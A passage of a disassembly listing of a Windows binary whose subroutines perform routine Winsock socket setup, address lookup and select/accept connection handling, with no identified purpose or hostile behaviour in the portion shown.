ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_4045B0: ; CODE XREF: sub_404552+2Ej leave retn sub_404552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045B2 proc near ; CODE XREF: sub_4143B0+191p ; sub_415F69+20Ap var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417210 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_4045E2 xor eax, eax jmp short locret_404610 ; --------------------------------------------------------------------------- loc_4045E2: ; CODE XREF: sub_4045B2+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_404610: ; CODE XREF: sub_4045B2+2Ej leave retn sub_4045B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404612 proc near ; CODE XREF: sub_40D871+69Cp var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40Ch lea eax, [ebp+var_408] push eax push 0 push 0 push [ebp+arg_0] call dword_41DE84 ; getaddrinfo test eax, eax jnz loc_4046B8 mov eax, [ebp+var_408] mov [ebp+var_40C], eax loc_404643: ; CODE XREF: sub_404612+98j cmp [ebp+var_40C], 0 jz short loc_4046AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_404] push eax mov eax, [ebp+var_40C] push dword ptr [eax+10h] mov eax, [ebp+var_40C] push dword ptr [eax+18h] call dword_41DE88 ; getnameinfo test eax, eax jnz short loc_40469B mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 2 jnz short loc_40469B lea eax, [ebp+var_404] push eax push [ebp+arg_4] call sub_416B3A ; _mbscpy pop ecx pop ecx mov al, 1 jmp short locret_4046BA ; --------------------------------------------------------------------------- loc_40469B: ; CODE XREF: sub_404612+66j ; sub_404612+72j mov eax, [ebp+var_40C] mov eax, [eax+1Ch] mov [ebp+var_40C], eax jmp short loc_404643 ; --------------------------------------------------------------------------- loc_4046AC: ; CODE XREF: sub_404612+38j push [ebp+var_408] call dword_41DE8C ; freeaddrinfo loc_4046B8: ; CODE XREF: sub_404612+1Fj xor al, al locret_4046BA: ; CODE XREF: sub_404612+87j leave retn sub_404612 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4046BC proc near ; CODE XREF: sub_4020C2+124p ; sub_403DF3+36p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch xor eax, eax test eax, eax jz short loc_4046D1 mov [ebp+var_3C], 2 jmp short loc_4046D8 ; --------------------------------------------------------------------------- loc_4046D1: ; CODE XREF: sub_4046BC+Aj mov [ebp+var_3C], 1 loc_4046D8: ; CODE XREF: sub_4046BC+13j mov eax, [ebp+var_3C] mov [ebp+var_8], eax push 1008h call sub_416B46 ; malloc pop ecx mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jnz short loc_4046F9 xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_4046F9: ; CODE XREF: sub_4046BC+34j mov eax, [ebp+var_2C] and dword ptr [eax], 0 mov eax, [ebp+var_2C] and dword ptr [eax+804h], 0 push 20h push 0 lea eax, [ebp+var_28] push eax call sub_416B6A ; memset add esp, 0Ch call sub_40432E neg eax sbb eax, eax and al, 0FEh inc eax inc eax mov [ebp+var_24], eax mov eax, [ebp+var_8] mov [ebp+var_20], eax mov [ebp+var_28], 5 lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] push 0 call dword_41DE84 ; getaddrinfo test eax, eax jz short loc_40475D push [ebp+var_2C] call sub_416B4C ; free pop ecx xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_40475D: ; CODE XREF: sub_4046BC+8Fj mov eax, [ebp+var_30] mov [ebp+var_4], eax jmp short loc_40476E ; --------------------------------------------------------------------------- loc_404765: ; CODE XREF: sub_4046BC+DDj ; sub_4046BC+F1j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40476E: ; CODE XREF: sub_4046BC+A7j cmp [ebp+var_4], 0 jz loc_40484E mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 ; socket mov [ebp+var_34], eax cmp [ebp+var_34], 0FFFFFFFFh jnz short loc_40479B jmp short loc_404765 ; --------------------------------------------------------------------------- loc_40479B: ; CODE XREF: sub_4046BC+DBj mov eax, [ebp+var_4] cmp dword ptr [eax+4], 2 jz short loc_4047AF mov eax, [ebp+var_4] cmp dword ptr [eax+4], 17h jz short loc_4047AF jmp short loc_404765 ; --------------------------------------------------------------------------- loc_4047AF: ; CODE XREF: sub_4046BC+E6j ; sub_4046BC+EFj mov eax, [ebp+arg_4] and eax, 2 test eax, eax jz short loc_4047D6 mov [ebp+var_38], 1 push 4 lea eax, [ebp+var_38] push eax push 4 push 0FFFFh push [ebp+var_34] call dword_417204 ; setsockopt loc_4047D6: ; CODE XREF: sub_4046BC+FBj mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_34] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4047FE push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_4047FE: ; CODE XREF: sub_4046BC+132j cmp [ebp+var_8], 1 jnz short loc_404822 push 32h push [ebp+var_34] call dword_417268 ; listen cmp eax, 0FFFFFFFFh jnz short loc_404822 push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_404822: ; CODE XREF: sub_4046BC+146j ; sub_4046BC+156j mov eax, [ebp+var_2C] mov eax, [eax] mov ecx, [ebp+var_2C] mov edx, [ebp+var_34] mov [ecx+eax*4+4], edx mov eax, [ebp+var_2C] mov eax, [eax] inc eax mov ecx, [ebp+var_2C] mov [ecx], eax mov eax, [ebp+var_2C] cmp dword ptr [eax], 200h jnz short loc_404849 jmp short loc_40484E ; --------------------------------------------------------------------------- loc_404849: ; CODE XREF: sub_4046BC+189j jmp loc_404765 ; --------------------------------------------------------------------------- loc_40484E: ; CODE XREF: sub_4046BC+B6j ; sub_4046BC+18Bj push [ebp+var_30] call dword_41DE8C ; freeaddrinfo mov eax, [ebp+var_2C] cmp dword ptr [eax], 0 jnz short loc_40486C push [ebp+var_2C] call sub_416B4C ; free pop ecx xor eax, eax jmp short locret_40486F ; --------------------------------------------------------------------------- loc_40486C: ; CODE XREF: sub_4046BC+1A1j mov eax, [ebp+var_2C] locret_40486F: ; CODE XREF: sub_4046BC+38j ; sub_4046BC+9Cj ... leave retn sub_4046BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404871 proc near ; CODE XREF: sub_411BBC+B0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] call sub_4046BC pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40488F xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_40488F: ; CODE XREF: sub_404871+18j mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+arg_0] add eax, [ecx] cmp eax, 200h jbe short loc_4048AD push [ebp+var_4] call sub_404CBB pop ecx xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_4048AD: ; CODE XREF: sub_404871+2Dj mov eax, [ebp+var_4] mov eax, [eax] shl eax, 2 push eax mov eax, [ebp+var_4] add eax, 4 push eax mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+arg_0] lea eax, [ecx+eax*4+4] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+var_4] add eax, [ecx] mov ecx, [ebp+arg_0] mov [ecx], eax push [ebp+var_4] call sub_416B4C ; free pop ecx push 1 pop eax locret_4048ED: ; CODE XREF: sub_404871+1Cj ; sub_404871+3Aj leave retn sub_404871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4048EF proc near ; CODE XREF: sub_4020C2+22Ep ; sub_403DF3+8Dp ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0A8h push esi mov [ebp+var_4], 80h and [ebp+var_8C], 0 jmp short loc_404916 ; --------------------------------------------------------------------------- loc_404909: ; CODE XREF: sub_4048EF+133j ; sub_4048EF:loc_404A32j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404916: ; CODE XREF: sub_4048EF+18j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404A37 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 ; __WSAFDIsSet test eax, eax jz loc_404A32 loc_40494A: ; CODE XREF: sub_4048EF+100j and [ebp+var_9C], 0 jmp short loc_404960 ; --------------------------------------------------------------------------- loc_404953: ; CODE XREF: sub_4048EF:loc_4049E6j mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax loc_404960: ; CODE XREF: sub_4048EF+62j mov eax, [ebp+arg_0] mov ecx, [ebp+var_9C] cmp ecx, [eax+804h] jnb short loc_4049EB mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_4049E6 loc_404990: ; CODE XREF: sub_4048EF+E0j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_9C], eax jnb short loc_4049D1 mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_9C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax jmp short loc_404990 ; --------------------------------------------------------------------------- loc_4049D1: ; CODE XREF: sub_4048EF+B1j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049E6: ; CODE XREF: sub_4048EF+9Fj jmp loc_404953 ; --------------------------------------------------------------------------- loc_4049EB: ; CODE XREF: sub_4048EF+80j ; sub_4048EF+F5j xor eax, eax test eax, eax jnz loc_40494A lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call dword_4171FC ; accept mov [ebp+var_98], eax cmp [ebp+var_98], 0FFFFFFFFh jnz short loc_404A27 jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A27: ; CODE XREF: sub_4048EF+131j mov eax, [ebp+var_98] jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404A32: ; CODE XREF: sub_4048EF+55j jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A37: ; CODE XREF: sub_4048EF+32j mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 and [ebp+var_8C], 0 jmp short loc_404A57 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_4048EF+21Dj mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404A57: ; CODE XREF: sub_4048EF+159j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404B11 loc_404A68: ; CODE XREF: sub_4048EF+217j and [ebp+var_A0], 0 jmp short loc_404A7E ; --------------------------------------------------------------------------- loc_404A71: ; CODE XREF: sub_4048EF:loc_404AB0j mov eax, [ebp+var_A0] inc eax mov [ebp+var_A0], eax loc_404A7E: ; CODE XREF: sub_4048EF+180j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnb short loc_404AB2 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404AB0 jmp short loc_404AB2 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_4048EF+1BDj jmp short loc_404A71 ; --------------------------------------------------------------------------- loc_404AB2: ; CODE XREF: sub_4048EF+19Ej ; sub_4048EF+1BFj mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnz short loc_404B02 mov eax, [ebp+arg_0] cmp dword ptr [eax+804h], 200h jnb short loc_404B02 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+4] mov [ecx+eax*4+808h], edx mov eax, [ebp+arg_0] mov eax, [eax+804h] inc eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax loc_404B02: ; CODE XREF: sub_4048EF+1D2j ; sub_4048EF+1E1j xor eax, eax test eax, eax jnz loc_404A68 jmp loc_404A4A ; --------------------------------------------------------------------------- loc_404B11: ; CODE XREF: sub_4048EF+173j mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_94], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_90], edx lea eax, [ebp+var_94] push eax push 0 push 0 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_41722C ; select mov [ebp+var_88], eax cmp [ebp+var_88], 0 jnz short loc_404B71 or eax, 0FFFFFFFFh jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B71: ; CODE XREF: sub_4048EF+278j cmp [ebp+var_88], 0FFFFFFFFh jnz short loc_404B81 xor eax, eax jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B81: ; CODE XREF: sub_4048EF+289j and [ebp+var_8C], 0 jmp short loc_404B97 ; --------------------------------------------------------------------------- loc_404B8A: ; CODE XREF: sub_4048EF+3B4j ; sub_4048EF:loc_404CB0j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404B97: ; CODE XREF: sub_4048EF+299j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404CB5 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 ; __WSAFDIsSet test eax, eax jz loc_404CB0 loc_404BCB: ; CODE XREF: sub_4048EF+381j and [ebp+var_A8], 0 jmp short loc_404BE1 ; --------------------------------------------------------------------------- loc_404BD4: ; CODE XREF: sub_4048EF:loc_404C67j mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax loc_404BE1: ; CODE XREF: sub_4048EF+2E3j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A8] cmp ecx, [eax+804h] jnb short loc_404C6C mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404C67 loc_404C11: ; CODE XREF: sub_4048EF+361j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_A8], eax jnb short loc_404C52 mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_A8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax jmp short loc_404C11 ; --------------------------------------------------------------------------- loc_404C52: ; CODE XREF: sub_4048EF+332j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_404C6C ; --------------------------------------------------------------------------- loc_404C67: ; CODE XREF: sub_4048EF+320j jmp loc_404BD4 ; --------------------------------------------------------------------------- loc_404C6C: ; CODE XREF: sub_4048EF+301j ; sub_4048EF+376j xor eax, eax test eax, eax jnz loc_404BCB lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call dword_4171FC ; accept mov [ebp+var_A4], eax cmp [ebp+var_A4], 0FFFFFFFFh jnz short loc_404CA8 jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CA8: ; CODE XREF: sub_4048EF+3B2j mov eax, [ebp+var_A4] jmp short loc_404CB8 ; --------------------------------------------------------------------------- loc_404CB0: ; CODE XREF: sub_4048EF+2D6j jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CB5: ; CODE XREF: sub_4048EF+2B3j or eax, 0FFFFFFFFh loc_404CB8: ; CODE XREF: sub_4048EF+13Ej ; sub_4048EF+27Dj ... pop esi leave retn sub_4048EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404CBB proc near ; CODE XREF: sub_4020C2+175p ; sub_4020C2+25Fp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404CCC ; --------------------------------------------------------------------------- loc_404CC5: ; CODE XREF: sub_404CBB+3Ej mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404CCC: ; CODE XREF: sub_404CBB+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax] jnb short loc_404CFB cmp dword_41DE38, 0 jz short loc_404CE9 mov eax, [ebp+arg_0] cmp dword ptr [eax], 64h jbe short loc_404CE9 jmp short loc_404CFB ; --------------------------------------------------------------------------- loc_404CE9: ; CODE XREF: sub_404CBB+22j ; sub_404CBB+2Aj mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_4053B1 pop ecx jmp short loc_404CC5 ; --------------------------------------------------------------------------- loc_404CFB: ; CODE XREF: sub_404CBB+19j ; sub_404CBB+2Cj mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 push [ebp+arg_0] call sub_416B4C ; free pop ecx leave retn sub_404CBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D10 proc near ; CODE XREF: sub_41349C+1B7p ; sub_4143B0+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 200h jbe short loc_404D21 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D21: ; CODE XREF: sub_404D10+Bj push 1010h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_404D39 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D39: ; CODE XREF: sub_404D10+23j mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_4] and dword ptr [eax+4], 0 mov eax, [ebp+var_4] locret_404D4B: ; CODE XREF: sub_404D10+Fj ; sub_404D10+27j leave retn sub_404D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D4D proc near ; CODE XREF: sub_41349C+417p ; sub_4143B0+109p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] cmp eax, [ecx] jnz short loc_404D6A push [ebp+arg_0] call sub_4053B1 pop ecx xor eax, eax jmp short loc_404D99 ; --------------------------------------------------------------------------- loc_404D6A: ; CODE XREF: sub_404D4D+Ej mov eax, [ebp+arg_4] mov eax, [eax+4] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov [ecx+eax*4+0Ch], edx mov eax, [ebp+arg_4] mov eax, [eax+4] inc eax mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] xor edx, edx cmp eax, [ecx] setnz dl mov eax, edx loc_404D99: ; CODE XREF: sub_404D4D+1Bj pop ebp retn sub_404D4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D9B proc near ; CODE XREF: sub_41349C+512p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404DAC ; --------------------------------------------------------------------------- loc_404DA5: ; CODE XREF: sub_404D9B:loc_404E18j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404DAC: ; CODE XREF: sub_404D9B+8j mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short locret_404E1A mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4+0Ch] cmp eax, [ebp+arg_0] jnz short loc_404E18 mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+8] jb short loc_404DDE mov eax, [ebp+arg_4] mov eax, [eax+8] dec eax mov ecx, [ebp+arg_4] mov [ecx+8], eax loc_404DDE: ; CODE XREF: sub_404D9B+34j mov eax, [ebp+arg_4] mov eax, [eax+4] sub eax, [ebp+var_4] shl eax, 2 push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+10h] push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+0Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_4] mov eax, [eax+4] dec eax mov ecx, [ebp+arg_4] mov [ecx+4], eax jmp short locret_404E1A ; --------------------------------------------------------------------------- loc_404E18: ; CODE XREF: sub_404D9B+29j jmp short loc_404DA5 ; --------------------------------------------------------------------------- locret_404E1A: ; CODE XREF: sub_404D9B+1Aj ; sub_404D9B+7Bj leave retn sub_404D9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E1C proc near ; CODE XREF: sub_41349C+45Fp ; sub_4143B0+14Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push esi mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 and [ebp+var_8], 0 jmp short loc_404E41 ; --------------------------------------------------------------------------- loc_404E3A: ; CODE XREF: sub_404E1C+BDj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_404E41: ; CODE XREF: sub_404E1C+1Cj mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+4] jnb loc_404EDE loc_404E50: ; CODE XREF: sub_404E1C+B7j and [ebp+var_14], 0 jmp short loc_404E5D ; --------------------------------------------------------------------------- loc_404E56: ; CODE XREF: sub_404E1C:loc_404E86j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_404E5D: ; CODE XREF: sub_404E1C+38j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnb short loc_404E88 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+810h] cmp eax, [esi+edx*4+0Ch] jnz short loc_404E86 jmp short loc_404E88 ; --------------------------------------------------------------------------- loc_404E86: ; CODE XREF: sub_404E1C+66j jmp short loc_404E56 ; --------------------------------------------------------------------------- loc_404E88: ; CODE XREF: sub_404E1C+4Dj ; sub_404E1C+68j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnz short loc_404ECF mov eax, [ebp+arg_0] cmp dword ptr [eax+80Ch], 200h jnb short loc_404ECF mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+0Ch] mov [ecx+eax*4+810h], edx mov eax, [ebp+arg_0] mov eax, [eax+80Ch] inc eax mov ecx, [ebp+arg_0] mov [ecx+80Ch], eax loc_404ECF: ; CODE XREF: sub_404E1C+78j ; sub_404E1C+87j xor eax, eax test eax, eax jnz loc_404E50 jmp loc_404E3A ; --------------------------------------------------------------------------- loc_404EDE: ; CODE XREF: sub_404E1C+2Ej and [ebp+var_10], 0 mov [ebp+var_C], 3E8h lea eax, [ebp+var_10] push eax push 0 mov eax, [ebp+arg_0] add eax, 80Ch push eax push 0 push 0 call dword_41722C ; select mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404F1A cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404F1A mov [ebp+var_18], 1 jmp short loc_404F1E ; --------------------------------------------------------------------------- loc_404F1A: ; CODE XREF: sub_404E1C+EDj ; sub_404E1C+F3j and [ebp+var_18], 0 loc_404F1E: ; CODE XREF: sub_404E1C+FCj mov eax, [ebp+var_18] pop esi leave retn sub_404E1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F24 proc near ; CODE XREF: sub_41349C+470p ; sub_4143B0+16Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_4], eax jmp short loc_404F3A ; --------------------------------------------------------------------------- loc_404F33: ; CODE XREF: sub_404F24:loc_404F77j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F3A: ; CODE XREF: sub_404F24+Dj mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404F79 mov eax, [ebp+arg_0] add eax, 80Ch push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_416E30 ; __WSAFDIsSet test eax, eax jz short loc_404F77 mov eax, [ebp+var_4] inc eax mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4+0Ch] jmp short locret_404F7B ; --------------------------------------------------------------------------- loc_404F77: ; CODE XREF: sub_404F24+3Bj jmp short loc_404F33 ; --------------------------------------------------------------------------- loc_404F79: ; CODE XREF: sub_404F24+1Fj xor eax, eax locret_404F7B: ; CODE XREF: sub_404F24+51j leave retn sub_404F24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F7D proc near ; CODE XREF: sub_404FD0+6p ; sub_41349C+59Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404F8E ; --------------------------------------------------------------------------- loc_404F87: ; CODE XREF: sub_404F7D+37j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F8E: ; CODE XREF: sub_404F7D+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404FB6 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_4053B1 pop ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and dword ptr [ecx+eax*4+0Ch], 0 jmp short loc_404F87 ; --------------------------------------------------------------------------- loc_404FB6: ; CODE XREF: sub_404F7D+1Aj mov eax, [ebp+arg_0] and dword ptr [eax+4], 0 mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 leave retn sub_404F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FD0 proc near ; CODE XREF: sub_41349C+5FBp ; sub_4143B0+238p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_404F7D pop ecx push [ebp+arg_0] call sub_416B4C ; free pop ecx pop ebp retn sub_404FD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FE7 proc near ; CODE XREF: sub_412BC9+11p ; sub_41349C+40Ep ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_405010 mov 